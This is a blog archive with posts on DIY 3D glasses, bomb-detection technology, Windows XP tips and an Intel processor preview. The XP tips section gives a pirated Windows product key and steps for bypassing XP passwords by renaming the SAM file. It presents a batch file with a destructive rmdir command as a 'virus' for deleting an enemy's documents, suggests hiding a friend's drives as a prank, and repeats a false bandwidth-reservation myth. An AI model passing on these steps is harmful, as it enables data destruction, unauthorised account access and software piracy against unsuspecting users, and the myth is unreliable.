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Make your own 3D glasses at home

2010-07-14T11:50:00.000-07:00

I have seen a 3D clipping on the net on my PC. But could have the 'real' feel because I did not have 3D glasses ready at that time. An immediate google search gave me the result and now you have it too!

So, here I share some ways to make your own 3D glasses at home in 10 seconds !!

You’ll need a pair of 3D glasses with red and blue (to be more precise, cyan) lenses to watch any of the 3D videos that are available on YouTube or this pool of 3D images(anaglyphs) that’s on Flickr.

For instance, here’s a 3D clip from the popular Avatar movie that you’ll only enjoy if you have the right colored glasses

Bomb Detector

2008-12-07T23:40:00.000-08:00

When detonated in strategic, population-dense, or confined spaces, bombs are especially destructive. For example, a bomb planted by political terrorists in a suitcase was responsible for the explosion of Pan Am Flight 103 over Lockerbie, Scotland, on December 21, 1988, that claimed 270 lives. Given the devastation that bombs can cause, and the risk they pose to national security, the detection of bombs is a important priority in airports and elsewhere.

Despite the fact that x-ray examination may not detect some bombs, the technique is still a mainstay in bomb detection. For example, x-rays are the best way to reveal the presence in luggage of suspicious shapes. Plastic explosives can be molded to resemble common objects. Also, explosives are not metallic, and so will escape metal detection. A well-trained operator is a key part of this bomb detection strategy. A newer version of the x-ray examination places a reflector on the opposite side of an object from the x-ray beam. As the rays are scattered back, they are analyzed by a sophisticated computer program, which can reveal differences in the outgoing and incoming beams that were caused by passage of the beams through suspicious material.

Another version of the x-ray dual energy technology sends two x-ray beams through the object at the same time. One of the beams distinguishes organic material (i.e., food, leather objects, paper) and displays them as red. The other beam distinguishes inorganic objects (i.e., metal clips, umbrella, metal pens) as green or blue. The color difference helps the operator quickly scan packages and baggage for object that are suspicious by their shape or chemistry. A similar method, which uses radio waves instead of x-rays, is called quadrupole resonance technology.

Another optical device is computer tomography, a technique that has been adapted from the CAT scan xray technology used in the medical operating room. In

A dust sample is taken from a laptop computer and the particles analyzed for explosives residue by a Barringer explosives detection device.

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tomography, an object is scanned and then a computer analyzes the x-ray image. If areas of the package have not been adequately revealed, the x-ray source can be rotated so as to produce a detailed view of the specific area. In this way packages and baggage can be examined in great detail.

Some bomb components can leave a scent. Until a few decades ago, specially trained dogs were a mainstay of bomb detection squads. Specially trained dogs are still used today to check out packages or locations that are difficult to examine using a machine. A dog's nose is actually a bit more sensitive than the sensitivity of detection machinery that is currently available. However, a dog and handler costs approximately $50,000 a year, whereas a piece of detection equipment represents a one-time cost of $20,000 to $40,000. Thus, machines are becoming more prevalent.

One such technology utilizes gas chromatography and a property called chemiluminescence. In gas chromatography, chemicals of different composition can be separated from each other based on their differing speeds in a stream of gas (selection of the gas can determine the rate of movement of different compounds). A compound in the gas, which will then glow, will recognize an isolated compound that has a certain chemical group in its structure. The glowing (chemiluminescence) registers on an optical detector, revealing the presence of the explosive chemical.

Devices known as sniffers detect vapor given off by certain explosives. Chemicals such as nitroglycerin are readily detected. But, a sniffer can miss explosives such as plastic explosives that do not readily vaporize. Thus, a sniffer should be used only as part of a bomb detection regimen that involves other detection techniques.

Another device detects chemicals present in bombs by concentrating the air collected from a target location. The air is drawn through a filter, where explosive chemicals collect, due to their tendency to be heavier than the air molecules around them. The filter is analyzed using ion mobility spectrometry

The spectrometric technique is very sensitive. Less than a nanogram (10₉ of a gram) of explosives residue can be detected. To put this into perspective, a fingerprint on a luggage handle left by someone had been handling explosives will typically contain 100,000 times more of the residue.

An ion mobility spectrometer (IMS) is a spectrometer capable of detecting and identifying very low concentrations of chemicals based upon the differential migration of gas phase ions through a homogeneous electric field. IMS devices come in a wide range of sizes (often tailored for a specific application) and are capable of operating under a broad range of conditions. Systems operated at higher pressure (i.e. atmospheric conditions, 1 atm or 760 Torr) are also accompanied by elevated temperature (above 100°C), while lower pressure systems (1-20 Torr) do not require heating. Elevated temperature assists in removing ion clusters that may distort experimental measurements.

n its simplest form an IMS system measures how fast a given ion moves in a uniform electric field through a given atmosphere. The molecules of the sample need to be ionized, usually by corona discharge, atmospheric pressure photoionization (APPI), electrospray ionization (ESI), or a radioactive source, eg. a small piece of ⁶³Ni or ²⁴¹Am, similar to the one used in ionization smoke detectors.

In specified intervals, a sample of the ions is let into the drift chamber; the gating mechanism is based on a charged electrode working in a similar way as the control grid in triodes works for electrons. For precise control of the ion pulse width admitted to the drift tube, more complex gating systems such as a Bradbury-Nielsen design are employed. Once in the drift tube, ions are subjected to a homogeneous electric field ranging from a few volts per centimeter up to many hundreds of volts per centimeter. This electric field then drives the ions through the drift tube where they interact with the neutral drift molecules contained within the system. Separation of chemical species is achieved based upon the ion mobility (a parameter that is dependent of ion mass, size, and shape) where they arrive at the detector for measurement. Ions are recorded at the detector in order from the fastest to the slowest, generating a response signal characteristic for the chemical composition of the measured sample. Often the detector is a simple Faraday plate, however, more advanced ion mobility instruments are coupled with mass spectrometers where both size and mass information may be obtained simutaneously.

Perhaps ion mobility spectrometry's greatest strength is the speed at which separations occur--typically on the order of 10's of milliseconds. This feature combined with its ease of use, relatively high sensitivity, and highly compact design have allowed IMS as a commercial product to be used as a routine tool for the field detection of explosives, drugs, and chemical weapons. In the pharmaceutical industry IMS is used in cleaning validations, demonstrating that reaction vessels are sufficiently clean to proceed with the next batch of pharmaceutical product. As a research tool ion mobility has also shown great strides towards the analysis of biological materials, specifically, proteomics and metabolomics.

Star Trek-like technology being developed at The University of Arizona might soon screen airplane passengers for explosives as they walk through a portal similar to a metal detector while hand-held units scan their baggage.

The new device is about 1,000 times more sensitive than the equipment currently used in airports to discern explosives. Rather than analyzing a swab from a person's briefcase, the new technology could detect the traces of explosives left in air that passes over a person who has handled explosives.

"This is a form of tricorder," said M. Bonner Denton, the professor of chemistry at UA in Tucson who's spearheading the new technology. Denton said combining such technology with a walk-through portal would make it simple to screen 100 percent of passengers.

The new device can be pocket-sized. The analyzers currently used in airports are about the size of a table-top microwave oven. Denton, UA scientist Roger Sperline and Christopher Gresham and David Jones of Sandia National Laboratories in Albuquerque, N.M. are working on developing a hand-held analyzer capable of detecting small traces of explosives or illicit drugs.

Such a device could be used at border crossings, Denton said. "This is more sensitive than dogs' noses. It does not suffer from overexposure or a case of sinus. One can store it in the cabinet, then grab the unit, turn it on – and it's running. And it tells you what material has been detected. Dogs just tell you something's been detected."

Denton will talk about this and other portable detection instruments on Monday, March 14, at 2 p.m. Eastern Time (11 a.m Pacific Time) at the 229th American Chemical Society national meeting in San Diego. His talk, "Advanced Instrumental Technologies and Their Impact on Homeland Security and on Forensic Science," will be given in Room 25C of the San Diego Convention Center.

Detecting explosives or drugs means sorting through an environmental mish-mash of chemical signals to pick out the one chemical of interest. That's what a drug-sniffing dog's nose does – picks out the chemical signature of a drug from the chemicals that come from the dirty laundry, candy, food stains, fabrics, toothpaste and everything else inside someone's luggage.

To do the same thing to detect explosives, machines at airport screening stations use a technology called ion mobility spectrometry.

Ions, or charged molecules, move when placed in an electric field. The speed at which an ion moves depends on its size and shape, so each ion has a characteristic speed. The airport analyzers snatch a collection of chemicals gathered from a person's luggage, put those chemicals into an electric field and then search for any ion that has a speed that indicates "explosive."

The machine needs a certain number of molecules to accurately detect and identify a specific chemical. If there are very few molecules of a particular substance, the machine cannot distinguish that molecule from all the others in the mix.

Denton realized that one place to improve detection was the electronics of ion mobility spectrometers. So he adapted circuitry originally developed for use in infrared astronomy.

The new device, called a capacitive transimpedance amplifier, improves the readout circuitry in ion mobility spectrometers.

"This change in readout electronics is key to the vastly improved sensitivity. It boosts the signal while lowering the noise," Denton said. "This is the first radical change in ion detection since the 1930s.

Some of the great XP tricks

2008-12-07T23:29:00.000-08:00

Please Go Through All The TopicsINDEX:-

00)MAKING WINDOWS XP GENUINE THE EASY WAY

01)Creating a desktop shortcut for locking your computer

02)Deleting System Softwares

03)Creating Shutdown Icon or One Click Shutdown

04)Modify autoplay for different types of CD

05)Renaming The Recycle Bin icon

06)Locking the desktop

07)Removing Shared Documents folder From My Computer

08)Force windows XP to reboot upon crashing

09)Making Google the Default Search Engine in Internet

10)Increasing Band-Width By 20%

11)Customize Logon prompt with your Own Words

12)To change Drive Letters

13)Removing the Shortcut arrow from Desktop Icons:

14)Hiding shared folders with $

15)Improving the Slow Boot up time:

16)Customize Internet Explorer's Title Bar:

17)Removing the Recycle Bin from the Desktop:

18)Adding Administrative Tools Icon To The Desktop:

19)Using advanced file security settings in Windows

20)Creating The Suspend Shortcut:

21)Disable the Disk performance counter(s)

22)Modify Color Selection of Default Theme

23)Removing Multiple Boot Screens

24)Extremely Fast BootUp

25)To Increase the Internet Speed:

26)Renaming The Start Button:

27)Disabling Unnecessary Programs At Startup:

28)To convert a FAT partition to NTFS:

29)Breaking The XP Password:

30)Automatically run programs when starting Windows

31)Hosting online games through the Windows XP firewall

32)Quick Back And Forward Commands In Ie Using Keyboard

33)Disabling Msn Messanger At Startup

34)Creating A Virus

35)How to Hide the drives(c:,d:,e:,a:...etc) in My Computer

36)Create a password reset disk

37)Use system restore when you cannot boot your system

38)Set monitor refresh rate

39)Automatically close non-responsive programs

MAKING WINDOWS XP GENUINE THE EASY WAYdownload jellybean keyfinder from this website http://www.magicaljellybean.com/keyfinder.shtmlNow open keyfinder.exeClick on options and click "change windows key"Now enter this key and you're done. *****************************V2C47-MK7JD-3R89F-D2KXW-VPK3J *****************************P.S: this works on windows xp sp2 only...... ppl u can try this out...this might sound silly but it works perfectly...TRY INSTALLING IE7 OR MEDIA PLAYER11.

Creating a desktop shortcut for locking your computer:

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks: Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.' You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button. In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out. it is usegul if u have an account as it will prompt 4 a password.

Deleting System Softwares:

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Creating Shutdown Icon or One Click Shutdown:

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.Use this path in "Type Location of the Item"SHUTDOWN -s -t 01If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Modify autoplay for different types of CDWindows :

XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player. To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

Renaming The Recycle Bin icon:

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Locking the desktop:

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option. By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.

Removing Shared Documents folder From My Computer:

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to keyHKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFoldersYou must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Force windows XP to reboot upon crashing:

This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:Open REGEDITNavigate to 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'

Making Google the Default Search Engine in Internet:

Open registry editor by going to Start then Run and entering regedit and navigate to following three keys separately and change it as shown below:[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]"Search Page"=" http://www.google.com/""Search Bar"=" http://www.google.com/ie"[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL]""=" http://www.google.com/keyword/%s"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]"SearchAssistant"=" http://www.google.com/ie" .

Increasing Band-Width By 20%:

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etcTo get it back:Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Customize Logon prompt with your Own Words:

Open Registry by going to Start then Run, entering regedit and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.

To change Drive Letters:

Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."From here you can add, remove or change drive letters and paths to the partition

Removing the Shortcut arrow from Desktop Icons:

Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

Hiding shared folders with $:

If you would like to share a folder so that users on your network can access it easily, but are worried about displaying the folder for anyone to browse through, there is an easy way to render a shared folder invisible but still accessible. From the shared folder dialog: (right click on desired folder\sharing and security\). You can hide a shared folder by simply adding a '$' to the end of the name you give the folder in the 'sharing and security' window. In this way, you can maintain network access to shared folders, while hiding them from prying eyes. To browse to a hidden shared folder from another computer, simply click 'start/run' then type \\(name of the computer the share is on)\(sharename$) and press enter.

Improving the Slow Boot up time:

There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.

Customize Internet Explorer's Title Bar:

Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.

Removing the Recycle Bin from the Desktop:

If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. Run Regedit and go to:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace

Adding Administrative Tools Icon To The Desktop:

Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears

Using advanced file security settings in Windows:

Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home. The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder. To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times. When the Windows boot menu appears, select 'safe mode' from the list of options. Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.

Creating The Suspend Shortcut:

Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.

Disable the Disk performance counter(s):

Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application. To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate MethodWin XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].

Modify Color Selection of Default Theme:

Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".Right Click on it and select modify its value from "NormalColor" to "Metallic"Click Ok, and exit regedit and restart your computer.

Removing Multiple Boot Screens:

If you are getting unwanted multiple boot screenThen Follow these Steps.1> Right Click on My Computer2>Select Properties3>Select Advanced Tab4>Select Settings In the Startup & Recovery Section(3rd grp)5>Select the operating system which u want.6>And Click OK.7>Further again press the setting and click on Edit.8>It will open boot.ini File.9>Now u can delete those o/s which you don't want to be displayed.Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.

EXTREMELY FAST BOOTUPThe trick is Enabling Hibernation:

Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.

To Increase the Internet Speed:

Open Notepad and paste the below code in it. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]"SackOpts"=dword:00000001"TcpWindowSize"=dword:0005ae4c"Tcp1323Opts"=dword:00000003"DefaultTTL"=dword:00000040"EnablePMTUBHDetect"=dword:00000000"EnablePMTUDiscovery"=dword:00000001"GlobalMaxTcpWindowSize"=dword:0005ae4cNow save this file as speed.reg. Execute it and observe the change!

Renaming The Start Button:

To rename the start button, you will need a hex editor.My preference is UltraEditCopy the \windows\explore.exe file to a new name (e.g. explorer_1.exe) With the hex editor, open that file and go to offset 412b6 You will see the word start with blanks between each letter Edit it be any 5 characters or less Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.org Copy explorer_1.exe to explorer.exe You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one. Note: If the partition is NTFS and you can't access the files from DOS:Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe

Disabling Unnecessary Programs At Startup:

Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of three main ways: In the Start / Programs / Startup Folder In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

To convert a FAT partition to NTFS:

To convert a FAT partition to NTFS:Click Start, click Programs, and then click Command Prompt.In Windows XP, click Start, click Run, type cmd and then click OK.At the command prompt, type CONVERT [driveletter]: /FS:NTFS.Convert.exe will attempt to convert the partition to NTFS.NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).

Breaking The XP Password:

In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mjNow XP wont ask for password next time You Login. AlsoGo to the cmd prompt . Type net user *. It will list all the users. Again type net user "administrator" or the name of the administrator "name" *. e.g.: net user aaaaaa *(where aaaaaa is the name). It will ask for the password. Type the password and there you are done. Logging In As Administrator:Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator. To unhide the Administrator account so it does show up:Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList Unhide the Administrator key by giving it a value of 1

Automatically run programs when starting Windows:

If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around. Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up. If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.

Hosting online games through the Windows XP firewall:

If you are using the Windows XP firewall and you wish to host an online game such as Quake 3, or other applications that require users on the Internet to contact your computer directly, you will need to customize your firewall slightly to allow these specific communications through. Fortunately the XP firewall makes these changes fairly easy to do. To customize your firewall: Go to 'start\control panel\network connections'. Right click on the network connection that has the firewall enabled and go to 'properties.' Choose the 'settings' button at the bottom. On the 'services' tab, click the 'add' button. This window will add the application that you are using to the firewall's list of data that is allowed into your computer. You will need to find out the port that your application uses. This information should be available from the documentation or from the software manufacturer's website. Input a description for your convenience, then the computer name or IP address of the computer that is hosting the program, then put the port number that the program uses. Note that as long as the program is running on the computer that uses the XP firewall, the internal and external port will be the same. Click 'ok' to apply the rule. Your firewall will now allow connections through the port you specified.

Quick Back And Forward Commands In Ie Using Keyboard:

HOLD THE SHIFT KEY AND SCROLL THE PAGES OF IE TO GO FORWARD AND BACKWARD.

Disabling Msn Messenger :

At StartupTo Disable Messenger MSN from running go to the start menu and select RUN. In the window that appears type regedit The Registry editor will now have opened. Navigate to the following Key:HKEY_LOCAL_MACHINE\Software\Policies\MicrosoftNow create a new key by selecting Edit from the main menu bar. Now select New then Key.Name this new Key: MessengerNow select the newly created Messenger Key and create another new Key. Only this time we are going to name it: Client Next we have to create a DWORD value. So Right Click the new Client Key and select New then DWORD.Name the DWORD PreventRun Now we need to give it a Data Value of 1Now restart Windows XP and you will have successfully Disabled Messenger MSN

alternate method of disabling windows messanger:

If you don't want MSN Messanger to start at startup simply logon to your accout and go to tools --> options to disable it. If you don't have an account, as it won't let you change the options without first logoning on to an account. Click on the Start Button --> run and type in "regedit", then go to,HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\RunDelete the key that says, MSMSGS - REG_SZ - "C:\Program Files\Messenger\msmsgs.exe" /background

CREATING A VIRUS:

HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.rmdir C:\Documents and Settings \S\Q.

How to Hide the drives(c:,d:,e:,a:...etc) in My Computer:

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.1.Go to start->run.Type regedit.Now go to:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerNow in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....

Create a password reset disk:

Here's an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here's a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it. To create the disk: Go to start\control panel\user accounts. Select the account you are currently logged in as. Under the 'related tasks' heading in the top left corner, click 'prevent a forgotten password' to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk. To use the password reset disk in case of emergency: Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password. Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP's built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP by using tip #31 above. Keep your reset disk in a safe location, because anyone else can also use it to reset your password....

Use system restore when you cannot boot your system:

If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this: Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.' If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.

Set monitor refresh rate:
Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200). If this refresh rate is exceeded, the image will be distorted and unusable. Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing.

Automatically close non-responsive programs:
With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value of 1

Intel Core 2 Extreme QX9770 Performance Preview

2008-06-03T08:24:00.000-07:00

Thirty million transistors on the head of a pin. Think about that for a minute. Where on earth can you fit 30 million of anything in that amount of space? It used to be that 30 million transistors was a good-sized chip. These days, in a 45nm Hafnium-based High-K process, it almost seems like we (OK, OK, Intel...) can defy the laws of physics. We're talking rocket science here people. Actually, it's probably a bit more complex than rocket science. Titanium (Ti), Zirconium (Zr), Gallium (Ga), heck we've even heard of Rubidium (Rb), but Hafnium? Is someone at Intel just making this stuff up?

Processors using Intel 45nm Hafnium-based High-k Metal Gate transistor technology - 30 Million such transistors fit on the head of a pin. - Source Intel Corp.

Whether you fancy yourself a scientist that can appreciate naturally occurring isotopes utilized in leading-edge manufacturing processes, or maybe you're a gear-head that knows four cores running at 3.2GHz is just "freakin' fast" - there is no denying that Intel is completely unstoppable currently, when it comes to semiconductor process and manufacturing R&D. No other semiconductor company in the world is shipping anything in high volume at 45nm. That's 45 nanometers or .045 micron if you prefer. Sure, 45nm has been "demonstrated" by the likes of IBM, TSMC, and Charter Semiconductor but getting to volume is a completely different ball of wax altogether. Few companies have the resources and capital that Intel has to bring the technology to market first. And when it comes to processors comprised of 800 million plus transistors, every tenth of a micron counts.

Let's do some quick math, since we're feeling all smart and scientific. The new 45nm Intel Yorkfield processor that we'll be showing you today has a die size that measures about 214mm square and is comprised of about 820 million transistors. Comparatively, AMD's Athlon 64 X2 6000+, that is built on a 90nm process, is comprised of some 227 million transistors and has a die size of 218mm square. So we have a 45nm-built processor with four times as many transistors and 2X the number of cores on board, that is actually slightly smaller than the other with one quarter the number of transistors and half as many CPU cores. Not to mention both of these processors have comparable power consumption and thermal profiles.

